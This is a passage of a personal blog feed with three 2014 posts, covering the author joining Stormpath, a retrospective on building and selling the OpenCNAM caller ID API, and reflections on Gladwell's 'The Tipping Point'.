&lt;p>So, after a lot of searching, I stumbled across &lt;a href="https://stormpath.com/" title="Stormpath - User Management and Authentication for Developers">Stormpath&lt;/a>.&lt;/p>
&lt;p>Several years back, I was reading &lt;a href="https://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a>, and came across Stormpath for
the first time. At the time, I was just discovering why &lt;a href="http://www.rdegges.com/service-oriented-side-effects/" title="Service Oriented Side Effects">Service Oriented
Architecture&lt;/a> is so useful, and was incredibly excited to see what I
considered an innovative and deeply useful API service come out.&lt;/p>
&lt;p>Stormpath, for those of you that don&amp;rsquo;t know, is a really neat API service: they
completely handle the user management and authentication portion of your
applications, and provide a flexible, scalable, and &lt;em>secure&lt;/em> backend that lets
you create, manage, authenticate, authorize, and fully handle users.&lt;/p>
&lt;p>When I first saw Stormpath, I thought it was a really great service because
they&amp;rsquo;re handling what, in my experience, has always been one of the most
difficult parts of building applications: handling users and their data
properly, and effectively.&lt;/p>
&lt;p>In almost every application I&amp;rsquo;ve built, the number one most difficult portion
has been handling users. It doesn&amp;rsquo;t matter how great the framework you&amp;rsquo;re using
is: user management is a complicated burden. You&amp;rsquo;ll typically hit one of
several problems: slowness grabbing user data (due to complicated relationships
between users and their data on practically every system with more than 20
users), problems scaling your application as your user base grows, problems
storing user data securely (so many people mess this up, ugh), problems handling
authentication (SHA 512 won&amp;rsquo;t help you), or problems sharing user state between
services (users and their data should be an independent service the rest of your
application can communicate with &amp;ndash; not a database table tied to your huge
monolithic applications).&lt;/p>
&lt;p>Stormpath solves all of these problems (and more), which is why I thought that
it&amp;rsquo;d be incredibly fun (&lt;em>and challenging!&lt;/em>) to get involved somehow.&lt;/p>
&lt;h2 id="joining-stormpath">Joining Stormpath&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/moving-on/stormpath-icon.jpg" alt="Stormpath Icon" title="Stormpath Icon">
&lt;/p>
&lt;p>After several months of talking with Stormpath and getting to meet their
incredibly great team (&lt;em>and a whole lot of thinking&lt;/em>), I decided to take the
plunge and join Stormpath as their first Developer Evangelist &amp;ndash; and do
something completely different!&lt;/p>
&lt;p>Since I was 12 I&amp;rsquo;ve been writing code every day. When I first started working
in the industry, it felt like a dream: &lt;em>&amp;ldquo;I get to code everyday, while getting
paid? FUCK YEAH!&amp;rdquo;&lt;/em>. Now, after 13 years of being a straight up developer,
after working at medium, small, and startup companies, after building tons of
open source libraries, after writing tons of blog posts, writing a book, and
even giving a few talks: I&amp;rsquo;m going to be taking my first step out of my comfort
zone and doing all of the above in an entirely new context.&lt;/p>
&lt;p>As odd as this sounds to me, I realize that while I&amp;rsquo;ve been having a lot of fun
since I started programming professionally, I&amp;rsquo;ve never really had to push myself
much. Writing code all day was pretty natural, and not all that challenging.&lt;/p>
&lt;p>I realized when I first started getting involved in the Python community years
ago that the times I felt the most alive and on the edge were the times I had to
get out in public and do stuff: give a talk, hang out with other developers way
smarter than myself, write articles about tech stuff, etc.&lt;/p>
&lt;p>Whether it&amp;rsquo;s because of my innate introversion or something else, I&amp;rsquo;ve always
seemed to get the biggest challenge out of community related stuff, while the
coding sessions have always come naturally.&lt;/p>
&lt;p>While part of my excitement for joining Stormpath is due to their incredibly
awesome product and vision, I&amp;rsquo;m also really excited to challenge myself and push
myself in a bunch of new ways.&lt;/p>
&lt;p>Over the next several months I&amp;rsquo;m going to be doing a whole lot of:&lt;/p>
&lt;ul>
&lt;li>Open source library hacking.&lt;/li>
&lt;li>Tool building (in lots of languages / frameworks / technologies).&lt;/li>
&lt;li>Speaking.&lt;/li>
&lt;li>Writing.&lt;/li>
&lt;li>Getting out into the community, making friends, and learning cool stuff from
my peers.&lt;/li>
&lt;li>Helping other developers out, in whatever ways possible.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m really excited to be joining Stormpath, and opening a new chapter of my
life.&lt;/p>
&lt;p>Over the next few months I&amp;rsquo;ll also be writing about my experiences as a brand
new Developer Evangelist, about what I&amp;rsquo;m learning, and all the things that
involves.&lt;/p>
&lt;p>As a side note: if you&amp;rsquo;d like to meet up and chat sometime, let me know! Now
that part of my job is meeting developers, and getting out there into the
community even more &amp;ndash; I&amp;rsquo;m able to make time to do cool stuff more frequently
&amp;gt;:)&lt;/p>
&lt;p>If you&amp;rsquo;d like to get in touch, you can always hit me up on &lt;a href="https://twitter.com/rdegges" title="Randall Degges on Twitter">Twitter&lt;/a> or via
&lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">email&lt;/a>.&lt;/p></description></item><item><title>My Startup, A Retrospective</title><link>https://rdegges.com/2014/my-startup-a-retrospective/</link><pubDate>Fri, 31 Jan 2014 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2014/my-startup-a-retrospective/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/cute-monster-sketch.jpg" alt="Cute Monster Sketch" title="Cute Monster Sketch">
&lt;/p>
&lt;p>Wow, the past ~2 years have been totally crazy.&lt;/p>
&lt;p>Almost two full years ago I launched &lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">OpenCNAM&lt;/a>, with &lt;a href="https://rdegges.com/2012/im-working-on-a-startup/" title="I'm Working on a Startup">this post&lt;/a> here
on my blog. Since then I&amp;rsquo;ve learned a ton, and wanted to take some time to
reflect on what things I did right, what things I did wrong, and hopefully
share an interesting story along the way.&lt;/p>
&lt;p>If you&amp;rsquo;ve got any questions, feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">drop me an email&lt;/a>.&lt;/p>
&lt;h2 id="launching-opencnam">Launching OpenCNAM&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/rocket-ship-sketch.jpg" alt="Rocket Ship Sketch" title="Rocket Ship Sketch">
&lt;/p>
&lt;p>When &lt;a href="http://michaelrwally.blogspot.com/" title="Michael Wally">Mike&lt;/a>, &lt;a href="http://www.chrisbrunner.com/" title="Chris Brunner">Chris&lt;/a> and I decided to build OpenCNAM, we did so because the
Caller ID industry was horrible.&lt;/p>
&lt;p>There was no good way (as a developer) to grab Caller ID information and use it
without going through a ton of hoops. If you wanted to get Caller ID
information, you had to:&lt;/p>
&lt;ul>
&lt;li>Setup expensive phone company contracts.&lt;/li>
&lt;li>Have your own hardware servers.&lt;/li>
&lt;li>Have custom cards in your servers to talk to the phone companies.&lt;/li>
&lt;li>Setup a PBX system and do all sorts of custom coding to get things working
properly.&lt;/li>
&lt;/ul>
&lt;p>We weren&amp;rsquo;t satisfied with that. It sucked!&lt;/p>
&lt;p>Our vision for OpenCNAM was to have a purely developer-drive site where users
could easily query a REST API endpoint and get back Caller ID information for
any phone, instantly.&lt;/p>
&lt;p>So that&amp;rsquo;s what we set out to build.&lt;/p>
&lt;p>What we ended up doing was launching a very, very small MVP of OpenCNAM in a
single weekend. The strategy was simple: load up on energy drinks and knock the
entire thing out as quickly as possible.&lt;/p>
&lt;p>I spent the entire weekend building a Django site and API service (using
&lt;a href="http://tastypieapi.org/" title="Django Tastypie">Tastypie&lt;/a>), and desperately hacking up a theme from &lt;a href="http://themeforest.net/" title="ThemeForest">ThemeForest&lt;/a> that
looked suitable. In the end, everything came together nicely and the first
version of OpenCNAM was live!&lt;/p>
&lt;p>It consisted of:&lt;/p>
&lt;ul>
&lt;li>A two page website (a home page, an about page).&lt;/li>
&lt;li>A &lt;a href="http://sphinx-doc.org/" title="Sphinx">Sphinx&lt;/a> documentation site (docs.opencnam.com), which contained all of
our developer facing documentation.&lt;/li>
&lt;li>And lastly, a simple API service that returned Caller ID given a phone number
(in JSON, JSONP, YAML, XML, and plain text).&lt;/li>
&lt;li>No user accounts or signup whatsoever. Users could only query our API
endpoint directly (with no credentials).&lt;/li>
&lt;/ul>
&lt;p>Overall, it equated to about 20 hours of hacking.&lt;/p>
&lt;p>After it was ready, I randomly threw the link up on &lt;a href="https://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a> and
&lt;a href="http://www.reddit.com/r/startups" title="Reddit Startups">/r/startups&lt;/a> tailed our Heroku logs &amp;gt;:)&lt;/p>
&lt;p>To my surprise, people liked it!&lt;/p>
&lt;p>We received hundreds of email from programmers who found us through both Hacker
News and Reddit, asking us questions, giving us suggestions, etc. In the first
48 hours we did several hundred thousand API requests &amp;ndash; it was insane!&lt;/p>
&lt;h2 id="post-launch">Post Launch&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/the-thinker-sketch.jpg" alt="The Thinker Sketch" title="The Thinker Sketch">
&lt;/p>
&lt;p>After the initial launch, we knew OpenCNAM had some potential. So I immediately
went back to work.&lt;/p>
&lt;p>For the next two weeks I added user authentication, billing, integrated a new
custom design (we hired a designer to build a nicer looking website), rewrote
our documentation, and cleaned up the code base.&lt;/p>
&lt;p>I also built out several client libraries, and started writing integration
software for existing business phone systems (to give phone system
administrators a way to enable Caller ID for their users).&lt;/p>
&lt;p>The entire time I was living through the biggest adrenaline rush ever.
Constantly coding, feeling great, and (for the most part) living the dream!
There&amp;rsquo;s almost no better feeling in the world than working on something that
you really love, and having other people enjoy your product!&lt;/p>
&lt;p>Once those two weeks were over, I relaunched the site, and emailed all of the
people who messaged us about OpenCNAM previously. We immediately started to see
user signups &amp;ndash; a great feeling.&lt;/p>
&lt;p>Within a day or so we had our first few paid users (and profitability!). From
there, the service just kept on growing.&lt;/p>
&lt;h2 id="scaling-issues">Scaling Issues&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/skeleton-warrior-sketch.jpg" alt="Skeleton Warrior Sketch" title="Skeleton Warrior Sketch">
&lt;/p>
&lt;p>A few weeks after our &amp;lsquo;real&amp;rsquo; launch, we started having issues keeping up with
customer demand. The Django site and API service I had built were hacked
together quickly, and were not scaling properly.&lt;/p>
&lt;p>To keep things running smoothly, I scaled up our Heroku Dynos, but quickly
realized that things needed to be rewritten as soon as possible to avoid major
problems. Not only were there issues with customizing Tastypie for our specific
use case, but there were also problems optimizing our authentication and
authorization workflow, which led to us hammering our database and caching
servers far more than necessary.&lt;/p>
&lt;p>For the next two months I spent a lot of time carefully rewriting the entire
OpenCNAM code base, and converting the systems from a single, monolothic Django
project, into multiple, totally independent, Flask API services.&lt;/p>
&lt;p>When I finally pushed these new services live, and shut down the old Django
site, I was incredibly surprised to see how much of a difference it made. Our
new service oriented architecture was able to serve thousands of requests per
second (for both free and paid users) with only two Heroku Dynos, reducing our
hosting costs to almost nothing.&lt;/p>
&lt;p>&lt;strong>Fun Fact&lt;/strong>: To this day, OpenCNAM only needs roughly 5 Heroku Dynos, and
handles tons of requests. Something I&amp;rsquo;m incredibly proud of.&lt;/p>
&lt;p>Our new Flask backend also proved to be a lot simpler and more maintainable.
The code base shrunk about 50% in size, and our projects became so simple that
apps / blueprints / etc. weren&amp;rsquo;t even needed &amp;ndash; a nice side effect of building
simple, isolated services.&lt;/p>
&lt;h2 id="getting-customers">Getting Customers&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/handshake-sketch.jpg" alt="Handshake Sketch" title="Handshake Sketch">
&lt;/p>
&lt;p>After getting the product side of things running smoothly, I was talking with
Mike and Chris about the next move, and we all decided that now would be a
perfect time to go out there and acquire customers.&lt;/p>
&lt;p>&lt;strong>Side Note&lt;/strong>: I&amp;rsquo;m a bit of an introvert. I do &lt;em>OK&lt;/em> talking with other
programmers, but I&amp;rsquo;ve never considered myself a marketing or salesperson, so I
had absolutely no idea how to &amp;ldquo;get a customer&amp;rdquo;.&lt;/p>
&lt;p>Anyway, it was around this time that I decided to get out of my comfort zone and
try to bring in some new customers myself! I figured that if sales guys can do
it, it can&amp;rsquo;t be all that hard, so I might as well give it a go.&lt;/p>
&lt;p>Since Chris is an experienced customer facing guy, I spoke with him and got some
advice about talking with potential customers and reaching out to people
directly.&lt;/p>
&lt;p>After a few days of trial-and-error, I found a marketing solution that ended up
working pretty well!&lt;/p>
&lt;h3 id="identify-your-targets">Identify Your Targets&lt;/h3>
&lt;p>The first thing you want to do when looking for customers is identify who your
customers actually are.&lt;/p>
&lt;p>In our case, I figured that we had several groups of potential customers:&lt;/p>
&lt;ul>
&lt;li>Mobile developers wanting to build Caller ID applications for Android / iOS.&lt;/li>
&lt;li>IT guys working in small companies who managed the company phone system, and
wanted to get Caller ID support for their users.&lt;/li>
&lt;li>Voice over IP companies who provide IP based phone service to many customers
at scale.&lt;/li>
&lt;/ul>
&lt;p>I figured that since the last group is the smallest (there are a lot less VoIP
companies than there are mobile developers and IT guys), it would be
advantageous to reach out to them first (and of course, it doesn&amp;rsquo;t hurt that
they&amp;rsquo;d likely be the biggest spenders).&lt;/p>
&lt;h3 id="find-your-targets">Find Your Targets&lt;/h3>
&lt;p>Once you know who you need to contact, the next step is to find them!&lt;/p>
&lt;p>In my case, I literally opened up Google and searched for &lt;em>voip companies&lt;/em>, &lt;em>SIP
providers&lt;/em>, and a few other related phrases, then spent a day or two going
through every page of results and making a spreadsheet with several columns:&lt;/p>
&lt;ul>
&lt;li>The company name.&lt;/li>
&lt;li>The company URL.&lt;/li>
&lt;li>The company size (estimated).&lt;/li>
&lt;li>The owner (or CTO&amp;rsquo;s) email address.&lt;/li>
&lt;/ul>
&lt;p>The main goal here is to get an email address of the highest ranked technical
person. For small companies, this is usually the CEO / CTO. For larger
companies, you might have to find something like the lead programmer / lead tech
/ etc.&lt;/p>
&lt;p>In the end you should have roughly ~500 contacts.&lt;/p>
&lt;h3 id="send-personal-email">Send Personal Email&lt;/h3>
&lt;p>Once you have enough contacts, it&amp;rsquo;s time to get busy writing email!&lt;/p>
&lt;p>What I decided to do at first was send 3 email per day, first thing in the
morning, to three different potential customers.&lt;/p>
&lt;p>My reasoning was that 3 email is easy to do, and ensures that you won&amp;rsquo;t get
overwhelmed with phone calls / email in the following few days &amp;ndash; this way you&amp;rsquo;ll
be able to devote as much time to each customer as needed.&lt;/p>
&lt;p>Although I tweaked my email wording quite a bit, what ended up working well for
me was something similar to the following (your mileage may vary):&lt;/p>
&lt;blockquote>
&lt;p>Hi &amp;lt;name&amp;gt;!&lt;/p>
&lt;p>I&amp;rsquo;m a big fan of your company, &amp;lt;company&amp;gt;. I love how you guys do &amp;lt;something&amp;gt;,
and love your product.&lt;/p>
&lt;p>I&amp;rsquo;m the CTO at a small tech startup, OpenCNAM (&lt;a href="https://www.opencnam.com/)">https://www.opencnam.com/)&lt;/a>. We
just built an experimental new Caller ID API service. The way it works is
simple: you query our public API endpoint with a phone number (ex:
&lt;a href="https://api.opencnam.com/v2/+16502530000)">https://api.opencnam.com/v2/+16502530000)&lt;/a>, and we&amp;rsquo;ll give you back that phone&amp;rsquo;s
Caller ID (&amp;ldquo;GOOGLE INC&amp;rdquo; in this case).&lt;/p>
&lt;p>I&amp;rsquo;d love to get your feedback on our service. You can try it for free without
even creating an account! Just hit our public API endpoints directly.&lt;/p>
&lt;p>I&amp;rsquo;d love to know how we compare to your current Caller ID provider(s) if you
have any.&lt;/p>
&lt;p>Thanks for your time, I realize you&amp;rsquo;re incredibly busy.&lt;/p>
&lt;p>Best,&lt;/p>
&lt;p>-Randall&lt;/p>
&lt;/blockquote>
&lt;p>The key things that worked were:&lt;/p>
&lt;ul>
&lt;li>I always wrote each email personally, and included company-specific stuff in
each email (this requires time).&lt;/li>
&lt;li>I took the time to find out what this company does &lt;em>BEST&lt;/em>, and complement them
on it. This was totally genuine, and helped me get to know what products my
potential customers were building.&lt;/li>
&lt;li>I gave the person example URLs to test against. I think this is super
important &amp;ndash; nobody cares for reading a bunch of documentation and stuff.
People want to see results. What better way to win someone over than give
them what they want?&lt;/li>
&lt;li>Don&amp;rsquo;t mention anything about pricing / etc., it makes people feel like they&amp;rsquo;re
being sold to.&lt;/li>
&lt;li>Ask for feedback. If the person likes your product / company, they&amp;rsquo;ll sign
up. If they don&amp;rsquo;t like your product, you&amp;rsquo;ll get some negative feedback you
can use to make things better. Win / win.&lt;/li>
&lt;li>Lastly, everyone is really busy and hates wasting their time. I always
mentioned that I know they are very busy to let them know that I &lt;em>really do&lt;/em>
appreciate them taking the time to read my email and possibly respond.&lt;/li>
&lt;/ul>
&lt;p>The method above resulted in a roughly 75% conversion rate &amp;ndash; it was incredibly
successful.&lt;/p>
&lt;h3 id="things-to-keep-in-mind">Things to Keep in Mind&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/brain-sketch.png" alt="Brain Sketch" title="Brain Sketch">
&lt;/p>
&lt;p>The people you reach out to are just like you: they&amp;rsquo;re busy, they want to save
money, and they want to use quality products. If you can show them a superior
product and make it look nice and easy, people will usually like you and your
company.&lt;/p>
&lt;p>In our case, we got extremely lucky &amp;ndash; either we had perfect timing, or we had
perfect wording, but for one reason or another, we were able to convert an
incredible amount of large phone company providers into customers in a very
short period of time.&lt;/p>
&lt;p>The best thing you can do when reaching out to potential customers is just be
yourself &amp;ndash; don&amp;rsquo;t worry about being professional or pretending to be a &lt;em>big
company&lt;/em>, just be genuine and treat people with respect.&lt;/p>
&lt;h2 id="keeping-busy">Keeping Busy&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/bee-sketch.jpg" alt="Bee Sketch" title="Bee Sketch">
&lt;/p>
&lt;p>After bringing on a couple thousand customers, I decided to release a V2 API and
make several improvements to the data layout / features we provided.&lt;/p>
&lt;p>I ended up spending a month or two releasing supplementary features and finally
pushing out a nice new V2 API (and related docs, libraries, and software
integrations).&lt;/p>
&lt;p>Since our hosting costs were very low, we decided to keep things simple and make
iterative improvements to the product, and run as lean as possible. This
allowed us to build up quite a bit of funding to invest in our other projects
(we have several other large products).&lt;/p>
&lt;p>Unfortunately, it was about this time when things started to run smoothly and
everything seemed excellent that we decided to devote more time to our other
projects and spend less time working on OpenCNAM directly (which in retrospect,
was a big mistake).&lt;/p>
&lt;p>For the next year I spent most of my time working on our other projects, and
only making small improvements to OpenCNAM at the behest of our customers.
During this time OpenCNAM continued to grow steadily, but I had a ton of project
guilt for not spending enough time adding all the cool things I wanted to add to
the project.&lt;/p>
&lt;h2 id="bringing-on-help">Bringing on Help&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/heart-sketch.jpg" alt="Heart Sketch" title="Heart Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;m happy to report that as of two weeks ago, OpenCNAM brought on its first new
hire: &lt;a href="https://twitter.com/averymax" title="Avery Max on Twitter">Avery Max&lt;/a>. Avery is going to be 100% dedicated to OpenCNAM and will
be launching all of the awesome features I didn&amp;rsquo;t get a chance to release, and
making the product a lot better in the coming months.&lt;/p>
&lt;p>In the two years since OpenCNAM started, we&amp;rsquo;ve served up tons of API requests,
brought on thousands of new (and happy!) customers, and made the Caller ID
industry a little bit better.&lt;/p>
&lt;p>I&amp;rsquo;m super proud of everything that&amp;rsquo;s been done over the past few years, and
can&amp;rsquo;t wait to see how the product develops over the next few years.&lt;/p>
&lt;h2 id="retrospective-the-good">Retrospective (the Good)&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/lion-roar-sketch.jpg" alt="Lion Roar Sketch" title="Lion Roar Sketch">
&lt;/p>
&lt;p>While I&amp;rsquo;m pretty confident the main reason OpenCNAM was successful was luck, I
do think that we made some good decisions early on which helped improve that
luck a bit.&lt;/p>
&lt;p>Firstly, we decided to get the MVP going as quick as possible. I know this is
common knowledge, but you really should get your product out there as soon as
you possibly can, even if it&amp;rsquo;s just hacked together.&lt;/p>
&lt;p>Secondly, we actually launched a product for our MVP, not just a landing page or
a &amp;lsquo;coming soon&amp;rsquo; type thing. While I realize the best way to validate your
product is to have customers lined up in advance, I think that in most cases,
that&amp;rsquo;s just a waste of time. In the amount of time it takes to get your
domains / email / landing page setup and configured properly, then to do all
the marketing for your product, you might as well build a functional MVP!&lt;/p>
&lt;p>The other thing I think we did well was to stay true to the company&amp;rsquo;s goal. We
set out to build the best Caller ID API service possible, and I think we did
exactly that. Along the way, we received tons of email from customers asking us
if we could do other things like:&lt;/p>
&lt;ul>
&lt;li>Give them email addresses from phone numbers.&lt;/li>
&lt;li>Give them social network information from phone numbers.&lt;/li>
&lt;li>etc.&lt;/li>
&lt;/ul>
&lt;p>But I&amp;rsquo;m glad that we turned those requests down and kept our goal as simple and
straightforward as possible. Having a single, unifying goal makes it easy for
everyone on the team to get involved and make decisions without worrying about
whether or not what they&amp;rsquo;re doing is right. Whenever we received requests, or
had tricky technical issues crop up, the question we always asked was &amp;ldquo;Will
doing this make OpenCNAM the best Caller ID company out there, or not?&amp;rdquo;&lt;/p>
&lt;p>Lastly, we did a great job with customer support. We went out of our way to
help new customers use and integrate OpenCNAM into their products, sometimes
even committing code directly into a customer&amp;rsquo;s code base! I think it&amp;rsquo;s pretty
important to do just about anything for your customers. If they need help &amp;ndash;
get out there and help them! Don&amp;rsquo;t worry about politics, procedure, etc., just
make people happy!&lt;/p>
&lt;h2 id="retrospective-the-bad">Retrospective (the Bad)&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/my-startup-a-retrospective/angry-dinosaur-sketch.jpg" alt="Angry Dinosaur Sketch" title="Angry Dinosaur Sketch">
&lt;/p>
&lt;p>While I&amp;rsquo;d like to say we made no mistakes running OpenCNAM, I can&amp;rsquo;t! All of us
made a ton of mistakes along the way.&lt;/p>
&lt;p>I think the single largest mistake we made was to not invest more time into
OpenCNAM as it was growing. Instead of devoting time to other projects, we
should have doubled down and focused on developing the product even more, and
made it into the best possible product.&lt;/p>
&lt;p>At the time, it seemed like a good idea &amp;ndash; but in retrospect, I believe that if
we would have really focused on adding more features to the API service,
cleaning up the user dashboard, and fixing some UI elements &amp;ndash; we could have won
a lot more potential customers over.&lt;/p>
&lt;p>Secondly, we realized too late that the product we built was for the wrong
audience!&lt;/p>
&lt;p>We started OpenCNAM with the idea that it would be an API company for
developers. What we realized many weeks after launch (based on customer email)
was that most of our users were NOT developers at all! As it turned out, most
of our users were companies with internal phone systems (PBXs) who just needed
to get Caller ID hooked up for their users.&lt;/p>
&lt;p>Since our company / branding / UI was totally developer driven, this made things
a lot more complicated and confusing for potential users, and often resulted in
email questions, and integration questions about various phone systems.&lt;/p>
&lt;p>If we would have realized this sooner, and either:&lt;/p>
&lt;ul>
&lt;li>Pivoted the company to cater to phone system users, or&lt;/li>
&lt;li>Launched a separate product to cater to phone system users.&lt;/li>
&lt;/ul>
&lt;p>Then I think we could have been far more successful, and made our customers far
happier.&lt;/p>
&lt;p>Of course, it&amp;rsquo;s never too late to do these things, but it would have been nice
to have identified and taken care of these things immediately after learning
about them.&lt;/p>
&lt;h2 id="closing-thoughts">Closing Thoughts&lt;/h2>
&lt;p>Running a successful startup has been a crazy two year experience. It&amp;rsquo;s had
it&amp;rsquo;s ups and it&amp;rsquo;s downs &amp;ndash; but mostly ups. I feel incredibly lucky to both
succeed on the first try as well as build something that thousands of people
use and love!&lt;/p>
&lt;p>In the next few years, I expect OpenCNAM to continue to grow and evolve, and
make even more of an impact on the telephony industry.&lt;/p>
&lt;p>If there&amp;rsquo;s anything else you&amp;rsquo;d like to know, feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a>.
I&amp;rsquo;m probably going to be writing several follow up articles in the coming weeks
/ months, so if you think of any interesting topics let me know!&lt;/p>
&lt;p>-Randall&lt;/p></description></item><item><title>Making the World a Little Bit Better</title><link>https://rdegges.com/2014/making-the-world-a-little-bit-better/</link><pubDate>Wed, 22 Jan 2014 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2014/making-the-world-a-little-bit-better/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2014/making-the-world-a-little-bit-better/golden-gate-bridge-sketch.jpg" alt="Golden Gate Bridge Sketch" title="Golden Gate Bridge Sketch">
&lt;/p>
&lt;p>For the past few days, I&amp;rsquo;ve been reading an excellent new book: &lt;a href="http://www.amazon.com/gp/product/0316316962/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0316316962&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Tipping Point">The Tipping
Point&lt;/a>, by Malcom Gladwell. Despite the relative wordiness of the book, it&amp;rsquo;s
an incredibly great read, and I&amp;rsquo;d highly recommend it to anyone looking to
improve their life (and the lives of those around you).&lt;/p>
&lt;p>The subject of the book is something I find particularly interesting: why do
some things become popular? Why do people suddenly love a certain musician &amp;ndash;
why does a book become mainstream &amp;ndash; why does one company become a household
name while others die out? These are some pretty interesting questions.&lt;/p>
&lt;p>When I started reading the book, this is what I expected to learn. What I
discovered, however, was something much more important: how you can directly
affect your own life and the lives of those around you by &lt;em>changing your
environment&lt;/em>.&lt;/p>
&lt;h2 id="context-matters">Context Matters&lt;/h2>
&lt;p>Generally, we humans are horribly bad at being context aware. When I&amp;rsquo;m out
having dinner at a restaurant, and overhear a person at the table next to me
treating the waiter rudely, I tend to jump to conclusions rather quickly:&lt;/p>
&lt;ul>
&lt;li>This person doesn&amp;rsquo;t have manners.&lt;/li>
&lt;li>This person is rude to everyone.&lt;/li>
&lt;li>I can&amp;rsquo;t believe this person is in a relationship! What is their partner
thinking!?&lt;/li>
&lt;li>&lt;strong>This person is a bad person.&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>What I&amp;rsquo;ve done, you see, is immediately classify this person as being a &lt;em>bad
person&lt;/em> &amp;ndash; I&amp;rsquo;ve narrowed their entire life down to a single boolean value:
&lt;em>good&lt;/em> or &lt;em>bad&lt;/em>.&lt;/p>
&lt;p>As it turns out, however, people aren&amp;rsquo;t just boolean values! People are
incredibly dynamic, and context means &lt;em>everything&lt;/em>.&lt;/p>
&lt;p>Numerous studies done over the past few years show just how much of a role
environment plays in human behavior. In the right situation, even the most
cherished ideals you hold can be reversed &amp;ndash; and it often happens without you
even realizing it!&lt;/p>
&lt;p>If you take a child from a bad neighborhood with a good family, and compare
their grades with those of a child from a good neighborhood with a bad family,
the child with the bad family wins out every time &amp;ndash; the exact opposite of what
most people would assume &amp;ndash; but why?&lt;/p>
&lt;p>The reason is that context plays an enormous role in behavior. Regardless of
whether or not you have a great family (caring, loving, supportive) &amp;ndash; if your
neighborhood and community are &lt;em>bad&lt;/em> (lots of crime, poor influences, etc.) &amp;ndash;
the odds are unfortunately not in your favor.&lt;/p>
&lt;p>The societal pressure of your environment is a much stronger influence than most
people realize.&lt;/p>
&lt;p>If you live in a good neighborhood, there are many environmental factors which
lead you to a better and more successful life:&lt;/p>
&lt;ul>
&lt;li>Less crime in your environment.&lt;/li>
&lt;li>Better schools.&lt;/li>
&lt;li>Better role models and peers.&lt;/li>
&lt;li>A different sense of what constitutes a &lt;em>normal&lt;/em> life.&lt;/li>
&lt;/ul>
&lt;p>If you live in a bad neighborhood, there are many factors which might lower the
quality of your life:&lt;/p>
&lt;ul>
&lt;li>More crime.&lt;/li>
&lt;li>Worse schools.&lt;/li>
&lt;li>Poor role models.&lt;/li>
&lt;li>A different sense of what constitutes a &lt;em>normal&lt;/em> life.&lt;/li>
&lt;/ul>
&lt;p>If you take even the most loving person and throw them into a war zone, they will
act as if they&amp;rsquo;re at war. The opposite is also true.&lt;/p>
&lt;p>Environment is &lt;em>everything&lt;/em>.&lt;/p>
&lt;h2 id="improving-your-life">Improving Your Life&lt;/h2>
&lt;p>Now that we know context is important, and that it directly affects people&amp;rsquo;s
behavior, we can use this knowledge to our advantage to directly improve our
own lives.&lt;/p>
&lt;p>Let&amp;rsquo;s say you want to lose weight. There are obviously several ways to do this:&lt;/p>
&lt;ul>
&lt;li>Reduce your caloric intake.&lt;/li>
&lt;li>Increase your base metabolic rate by gaining muscle.&lt;/li>
&lt;li>Increase the amount of calories you burn each day through exercise.&lt;/li>
&lt;li>Change the foods you eat.&lt;/li>
&lt;/ul>
&lt;p>While losing weight in any form requires a certain amount of self discipline,
since we know that we are greatly influenced by our environment, we can make
this process a bit easier by changing our immediate environment!&lt;/p>
&lt;ul>
&lt;li>You can go through your pantry and remove &lt;em>all&lt;/em> non-diet friendly foods.&lt;/li>
&lt;li>You can precook (and pack) suitable meals for eating at work on your lunch
break.&lt;/li>
&lt;li>You can politely decline any friends who ask you to join them at restaurants
and bars where sticking to your diet will not be easy.&lt;/li>
&lt;/ul>
&lt;p>If you surround yourself with things that make it easier for you to make a
positive choice &amp;ndash; then you will find that you make more positive choices.&lt;/p>
&lt;p>The same rule applies to all other ventures as well.&lt;/p>
&lt;p>When I need to get quality programming time in, I make it hard to do anything
else:&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;ll go to a co-working space for the day, where I have no distractions.&lt;/li>
&lt;li>I&amp;rsquo;ll wear headphones and listen to music to insulate all outside noise.&lt;/li>
&lt;li>I&amp;rsquo;ll bring food with me so I&amp;rsquo;m not tempted to leave for long stretches of
time to go grab lunch or dinner.&lt;/li>
&lt;/ul>
&lt;p>By putting myself into an environment where it&amp;rsquo;s hard &lt;em>not to work&lt;/em>, I&amp;rsquo;m making
it easier for me to finish my work and accomplish what I set out to do.&lt;/p>
&lt;h2 id="improving-the-world">Improving the World&lt;/h2>
&lt;p>While it&amp;rsquo;s certainly possible to improve your own life by changing your
immediate environment &amp;ndash; is it possible to affect the lives of other people as
well? The answer is a definite &lt;em>yes&lt;/em>.&lt;/p>
&lt;p>The rules work much the same way as they do for you personally &amp;ndash; but on a
slightly larger scale. People tend to act differently based on their
surroundings.&lt;/p>
&lt;p>If you&amp;rsquo;re walking along a quiet street with well maintained sidewalks, gardens,
and trees, you&amp;rsquo;ll feel much more relaxed and at ease than you would if you were
